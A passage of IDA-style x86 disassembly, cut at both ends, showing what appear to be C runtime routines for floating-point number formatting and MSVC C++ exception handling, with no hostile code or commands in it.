E ======================================= sub_421935 proc near ; CODE XREF: sub_41F69F+3E2p ; DATA XREF: sub_41C760+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_43C508 mov cl, [eax] test cl, cl jz short loc_421951 loc_421945: ; CODE XREF: sub_421935+1Aj cmp cl, dl jz short loc_421951 mov cl, [eax+1] inc eax test cl, cl jnz short loc_421945 loc_421951: ; CODE XREF: sub_421935+Ej ; sub_421935+12j mov cl, [eax] inc eax test cl, cl jz short locret_421982 loc_421958: ; CODE XREF: sub_421935+34j mov cl, [eax] test cl, cl jz short loc_42196B cmp cl, 65h jz short loc_42196B cmp cl, 45h jz short loc_42196B inc eax jmp short loc_421958 ; --------------------------------------------------------------------------- loc_42196B: ; CODE XREF: sub_421935+27j ; sub_421935+2Cj ... mov ecx, eax loc_42196D: ; CODE XREF: sub_421935+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_42196D cmp [eax], dl jnz short loc_421978 dec eax loc_421978: ; CODE XREF: sub_421935+40j ; sub_421935+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_421978 locret_421982: ; CODE XREF: sub_421935+21j retn sub_421935 endp ; =============== S U B R O U T I N E ======================================= sub_421983 proc near ; DATA XREF: sub_41C760+28o ; ___:off_43C8B0o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_427880 fnstsw ax sahf jb short loc_421998 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_421998: ; CODE XREF: sub_421983+Fj xor eax, eax retn sub_421983 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42199B proc near ; CODE XREF: sub_420510+430p ; DATA XREF: sub_41C760+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_4219C4 lea eax, [ebp+var_8] push eax call sub_424518 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_4219C4: ; CODE XREF: sub_42199B+Cj lea eax, [ebp+arg_8] push eax call sub_424545 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_42199B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4219D9 proc near ; CODE XREF: sub_421C56+17p ; sub_421CA0+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_4DB310, 0 push ebx push esi jz short loc_421A0E mov ebx, [ebp+arg_8] mov eax, dword_4DB30C xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_421CF1 pop ecx pop ecx jmp short loc_421A46 ; --------------------------------------------------------------------------- loc_421A0E: ; CODE XREF: sub_4219D9+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_4245E9 mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_424572 add esp, 14h loc_421A46: ; CODE XREF: sub_4219D9+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_421A52 mov byte ptr [eax], 2Dh inc eax loc_421A52: ; CODE XREF: sub_4219D9+73j test ebx, ebx jle short loc_421A6A mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_43C508 mov eax, edi pop edi mov [eax], cl loc_421A6A: ; CODE XREF: sub_4219D9+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_4DB310, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_41BEB0 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_421A91 mov byte ptr [ecx], 45h loc_421A91: ; CODE XREF: sub_4219D9+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_421AD6 mov ebx, [esi+4] dec ebx jns short loc_421AA5 neg ebx mov byte ptr [ecx], 2Dh loc_421AA5: ; CODE XREF: sub_4219D9+C5j inc ecx cmp ebx, 64h jl short loc_421ABC mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421ABC: ; CODE XREF: sub_4219D9+D0j inc ecx cmp ebx, 0Ah jl short loc_421AD3 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421AD3: ; CODE XREF: sub_4219D9+E7j add [ecx+1], bl loc_421AD6: ; CODE XREF: sub_4219D9+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_4219D9 endp ; =============== S U B R O U T I N E ======================================= sub_421ADD proc near ; CODE XREF: sub_421C7D+13p ; sub_421CA0+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_4DB310, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_421B18 mov eax, dword_4DB314 mov ebx, [esp+10h+arg_8] mov esi, dword_4DB30C cmp eax, ebx jnz short loc_421B48 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_421B48 ; --------------------------------------------------------------------------- loc_421B18: ; CODE XREF: sub_421ADD+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_4245E9 mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_424572 add esp, 14h loc_421B48: ; CODE XREF: sub_421ADD+22j ; sub_421ADD+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_421B56 mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_421B56: ; CODE XREF: sub_421ADD+70j mov eax, [esi+4] test eax, eax jg short loc_421B6D push 1 push edi call sub_421CF1 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_421B6F ; --------------------------------------------------------------------------- loc_421B6D: ; CODE XREF: sub_421ADD+7Ej add edi, eax loc_421B6F: ; CODE XREF: sub_421ADD+8Ej test ebx, ebx jle short loc_421BB4 push 1 push edi call sub_421CF1 mov al, byte_43C508 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_421BB4 cmp byte_4DB310, 0 jz short loc_421B99 neg esi jmp short loc_421B9F ; --------------------------------------------------------------------------- loc_421B99: ; CODE XREF: sub_421ADD+B6j neg esi cmp ebx, esi jl short loc_421BA1 loc_421B9F: ; CODE XREF: sub_421ADD+BAj mov ebx, esi loc_421BA1: ; CODE XREF: sub_421ADD+C0j push ebx push edi call sub_421CF1 push ebx push 30h push edi call sub_41B590 add esp, 14h loc_421BB4: ; CODE XREF: sub_421ADD+94j ; sub_421ADD+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_421ADD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421BBB proc near ; CODE XREF: sub_421CA0+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_4245E9 mov dword_4DB30C, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_4DB314, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_424572 mov eax, dword_4DB30C add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_4DB314, ecx setl cl mov byte_4DB318, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_4DB314, eax jl short loc_421C41 cmp eax, ebx jge short loc_421C41 test cl, cl jz short loc_421C32 loc_421C28: ; CODE XREF: sub_421BBB+72j mov al, [esi] inc esi test al, al jnz short loc_421C28 and [esi-2], al loc_421C32: ; CODE XREF: sub_421BBB+6Bj push ebx push [ebp+arg_4] push edi call sub_421C7D add esp, 0Ch jmp short loc_421C51 ; --------------------------------------------------------------------------- loc_421C41: ; CODE XREF: sub_421BBB+63j ; sub_421BBB+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_421C56 add esp, 10h loc_421C51: ; CODE XREF: sub_421BBB+84j pop edi pop esi pop ebx pop ebp retn sub_421BBB endp ; =============== S U B R O U T I N E ======================================= sub_421C56 proc near ; CODE XREF: sub_421BBB+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_4DB310, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_4219D9 and byte_4DB310, 0 add esp, 10h retn sub_421C56 endp ; =============== S U B R O U T I N E ======================================= sub_421C7D proc near ; CODE XREF: sub_421BBB+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_4DB310, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_421ADD and byte_4DB310, 0 add esp, 0Ch retn sub_421C7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421CA0 proc near ; CODE XREF: sub_41F69F+3AAp ; DATA XREF: sub_41C760o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_421CDB cmp [ebp+arg_8], 45h jz short loc_421CDB cmp [ebp+arg_8], 66h jnz short loc_421CC8 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421ADD add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_421CC8: ; CODE XREF: sub_421CA0+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421BBB jmp short loc_421CEC ; --------------------------------------------------------------------------- loc_421CDB: ; CODE XREF: sub_421CA0+7j ; sub_421CA0+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_4219D9 loc_421CEC: ; CODE XREF: sub_421CA0+39j add esp, 10h pop ebp retn sub_421CA0 endp ; =============== S U B R O U T I N E ======================================= sub_421CF1 proc near ; CODE XREF: sub_4219D9+2Cp ; sub_421ADD+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_421D14 push esi mov esi, [esp+8+arg_0] push esi call sub_41AFE0 inc eax push eax push esi add esi, edi push esi call sub_41CC90 add esp, 10h pop esi loc_421D14: ; CODE XREF: sub_421CF1+7j pop edi retn sub_421CF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421D16 proc near ; CODE XREF: ___:0041C940p ; sub_41C9A9+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_421D2C call sub_4225B2 loc_421D2C: ; CODE XREF: sub_421D16+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_421D54 cmp dword ptr [esi+4], 0 jz short loc_421DAA cmp [ebp+arg_14], 0 jnz short loc_421DAA push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_42205D add esp, 10h jmp short loc_421DAA ; --------------------------------------------------------------------------- loc_421D54: ; CODE XREF: sub_421D16+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_421DAA cmp dword ptr [eax], 0E06D7363h jnz short loc_421D8E cmp [eax+14h], edi jbe short loc_421D8E mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_421D8E movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_421DAD ; --------------------------------------------------------------------------- loc_421D8E: ; CODE XREF: sub_421D16+4Aj ; sub_421D16+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_421DB1 add esp, 20h loc_421DAA: ; CODE XREF: sub_421D16+23j ; sub_421D16+29j ... push 1 pop eax loc_421DAD: ; CODE XREF: sub_421D16+76j pop edi pop esi pop ebp retn sub_421D16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421DB1 proc near ; CODE XREF: sub_421D16+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_421DD1 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_421DD6 loc_421DD1: ; CODE XREF: sub_421DB1+16j call sub_4225B2 loc_421DD6: ; CODE XREF: sub_421DB1+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz short loc_421E4A cmp [esi+14h], edi jnz short loc_421E4A cmp dword ptr [esi+1Ch], 0 jnz short loc_421E4A mov esi, dword_4DB31C test esi, esi jz loc_421F28 mov eax, dword_4DB320 push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_424770 pop ecx test eax, eax pop ecx jnz short loc_421E2C call sub_4225B2 loc_421E2C: ; CODE XREF: sub_421DB1+74j cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz short loc_421E4A cmp [esi+14h], edi jnz short loc_421E4A cmp dword ptr [esi+1Ch], 0 jnz short loc_421E4A call sub_4225B2 loc_421E4A: ; CODE XREF: sub_421DB1+41j ; sub_421DB1+46j ... cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz loc_421F2D cmp [esi+14h], edi jnz loc_421F2D mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41CAF7 add esp, 14h mov ebx, eax loc_421E81: ; CODE XREF: sub_421DB1+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_421F18 cmp [ebx], edi jg short loc_421F0D cmp edi, [ebx+4] jg short loc_421F0D mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_421F0A loc_421EA6: ; CODE XREF: sub_421DB1+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_421ED7 loc_421EB8: ; CODE XREF: sub_421DB1+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_422000 add esp, 0Ch test eax, eax jnz short loc_421EE6 dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_421EB8 loc_421ED7: ; CODE XREF: sub_421DB1+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_421EA6 jmp short loc_421F0A ; --------------------------------------------------------------------------- loc_421EE6: ; CODE XREF: sub_421DB1+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_422111 ; --------------------------------------------------------------------------- add esp, 2Ch loc_421F0A: ; CODE XREF: sub_421DB1+F3j ; sub_421DB1+133j mov edi, [ebp+var_10] loc_421F0D: ; CODE XREF: sub_421DB1+DEj ; sub_421DB1+E3j inc [ebp+var_4] add ebx, 14h jmp loc_421E81 ; --------------------------------------------------------------------------- loc_421F18: ; CODE XREF: sub_421DB1+D6j cmp [ebp+arg_14], 0 jz short loc_421F28 push 1 push esi call sub_422486 pop ecx pop ecx loc_421F28: ; CODE XREF: sub_421DB1+56j ; sub_421DB1+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_421F2D: ; CODE XREF: sub_421DB1+37j ; sub_421DB1+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_421F53 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_421F58 add esp, 20h jmp short loc_421F28 ; --------------------------------------------------------------------------- loc_421F53: ; CODE XREF: sub_421DB1+180j jmp sub_42255C sub_421DB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F58 proc near ; CODE XREF: sub_421DB1+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_4DB324, 0 push esi push edi jz short loc_421F89 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41C9CE add esp, 1Ch test eax, eax jnz short loc_421FFC loc_421F89: ; CODE XREF: sub_421F58+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41CAF7 add esp, 14h mov esi, eax loc_421FA5: ; CODE XREF: sub_421F58+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_421FFC cmp edi, [esi] jl short loc_421FF4 cmp edi, [esi+4] jg short loc_421FF4 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_421FCE cmp byte ptr [ecx+8], 0 jnz short loc_421FF4 loc_421FCE: ; CODE XREF: sub_421F58+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_422111 ; --------------------------------------------------------------------------- add esp, 2Ch loc_421FF4: ; CODE XREF: sub_421F58+57j ; sub_421F58+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_421FA5 ; --------------------------------------------------------------------------- loc_421FFC: ; CODE XREF: sub_421F58+2Fj ; sub_421F58+53j pop edi pop esi leave retn sub_421F58 endp ; =============== S U B R O U T I N E ======================================= sub_422000 proc near ; CODE XREF: sub_421DB1+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_422057 cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_422057 mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_422031 add ecx, 8 push ecx push edx call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_422053 loc_422031: ; CODE XREF: sub_422000+1Fj test byte ptr [esi], 2 jz short loc_42203B test byte ptr [edi], 8 jz short loc_422053 loc_42203B: ; CODE XREF: sub_422000+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_42204A test byte ptr [edi], 1 jz short loc_422053 loc_42204A: ; CODE XREF: sub_422000+43j test al, 2 jz short loc_422057 test byte ptr [edi], 2 jnz short loc_422057 loc_422053: ; CODE XREF: sub_422000+2Fj ; sub_422000+39j ... xor eax, eax jmp short loc_42205A ; --------------------------------------------------------------------------- loc_422057: ; CODE XREF: sub_422000+Bj ; sub_422000+14j ... push 1 pop eax loc_42205A: ; CODE XREF: sub_422000+55j pop edi pop esi retn sub_422000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42205D proc near ; CODE XREF: sub_421D16+34p ; ___:00422153p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278C8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_42208F: ; CODE XREF: sub_42205D+8Aj cmp esi, [ebp+arg_C] jz short loc_4220E9 cmp esi, 0FFFFFFFFh jle short loc_42209E cmp esi, [edi+4] jl short loc_4220A3 loc_42209E: ; CODE XREF: sub_42205D+3Aj call sub_4225B2 loc_4220A3: ; CODE XREF: sub_42205D+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_4220BE push 103h push ebx push eax call sub_422510 loc_4220BE: ; CODE XREF: sub_42205D+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_4220DE ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_4220FB pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_4220DE: ; CODE XREF: sub_42205D+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_42208F ; --------------------------------------------------------------------------- loc_4220E9: ; CODE XREF: sub_42205D+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42205D endp ; =============== S U B R O U T I N E ======================================= sub_4220FB proc near ; CODE XREF: sub_42205D+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_42210C xor eax, eax retn ; --------------------------------------------------------------------------- loc_42210C: ; CODE XREF: sub_4220FB+Cj jmp sub_42255C sub_4220FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_422111 proc near ; CODE XREF: sub_421DB1+151p ; sub_421F58+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_422133 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_4222C2 add esp, 10h loc_422133: ; CODE XREF: sub_422111+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_42213F push edi jmp short loc_422142 ; --------------------------------------------------------------------------- loc_42213F: ; CODE XREF: sub_422111+29j push [ebp+arg_24] loc_422142: ; CODE XREF: sub_422111+2Cj call sub_41C8D0 sub_422111 endp ; --------------------------------------------------------------------------- mov esi, [ebp+24h] push dword ptr [esi] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push edi call sub_42205D mov eax, [esi+4] push 100h push dword ptr [ebp+28h] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push dword ptr [ebp+18h] push dword ptr [ebp+10h] push edi push dword ptr [ebp+8] call sub_42218C add esp, 2Ch test eax, eax jz short loc_422187 push edi push eax call sub_41C88E loc_422187: ; CODE XREF: ___:0042217Ej pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42218C proc near ; CODE XREF: ___:00422174p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278D8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_4DB31C mov [ebp+var_1C], ecx mov ecx, dword_4DB320 mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_4DB31C, edi mov ecx, [ebp+arg_8] mov dword_4DB320, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_41C955 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_422252 mov eax, [ebp+var_2C] loc_422219: ; CODE XREF: sub_422232+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42218C endp ; =============== S U B R O U T I N E ======================================= sub_422228 proc near ; DATA XREF: ___:004278E8o push dword ptr [ebp-14h] call sub_422298 pop ecx retn sub_422228 endp ; =============== S U B R O U T I N E ======================================= sub_422232 proc near ; DATA XREF: ___:004278ECo mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_41CBB6 pop ecx pop ecx xor eax, eax jmp short loc_422219 sub_422232 endp ; --------------------------------------------------------------------------- loc_42224A: ; DATA XREF: ___:004278E0o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_422252 proc near ; CODE XREF: sub_42218C+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_4DB31C, eax mov eax, [ebp-20h] mov dword_4DB320, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_422297 cmp dword ptr [edi+10h], 3 jnz short locret_422297 cmp dword ptr [edi+14h], 19930520h jnz short locret_422297 cmp [ebp-24h], ebx jnz short locret_422297 cmp [ebp-2Ch], ebx jz short locret_422297 call sub_41CC1E push eax push edi call sub_422486 pop ecx pop ecx locret_422297: ; CODE XREF: sub_422252+1Cj ; sub_422252+22j ... retn sub_422252 endp ; =============== S U B R O U T I N E ======================================= sub_422298 proc near ; CODE XREF: sub_422228+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_4222BF cmp dword ptr [eax+10h], 3 jnz short loc_4222BF cmp dword ptr [eax+14h], 19930520h jnz short loc_4222BF cmp dword ptr [eax+1Ch], 0 jnz short loc_4222BF push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4222BF: ; CODE XREF: sub_422298+Cj ; sub_422298+12j ... xor eax, eax retn sub_422298 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4222C2 proc near ; CODE XREF: sub_422111+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278F0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_42246B cmp byte ptr [eax+8], 0 jz loc_42246B mov eax, [ecx+8] test eax, eax jz loc_42246B mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_42235F mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz loc_422462 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_422350: ; CODE XREF: sub_4222C2+F5j push eax call sub_4224ED pop ecx pop ecx mov [edi], eax jmp loc_422467 ; --------------------------------------------------------------------------- 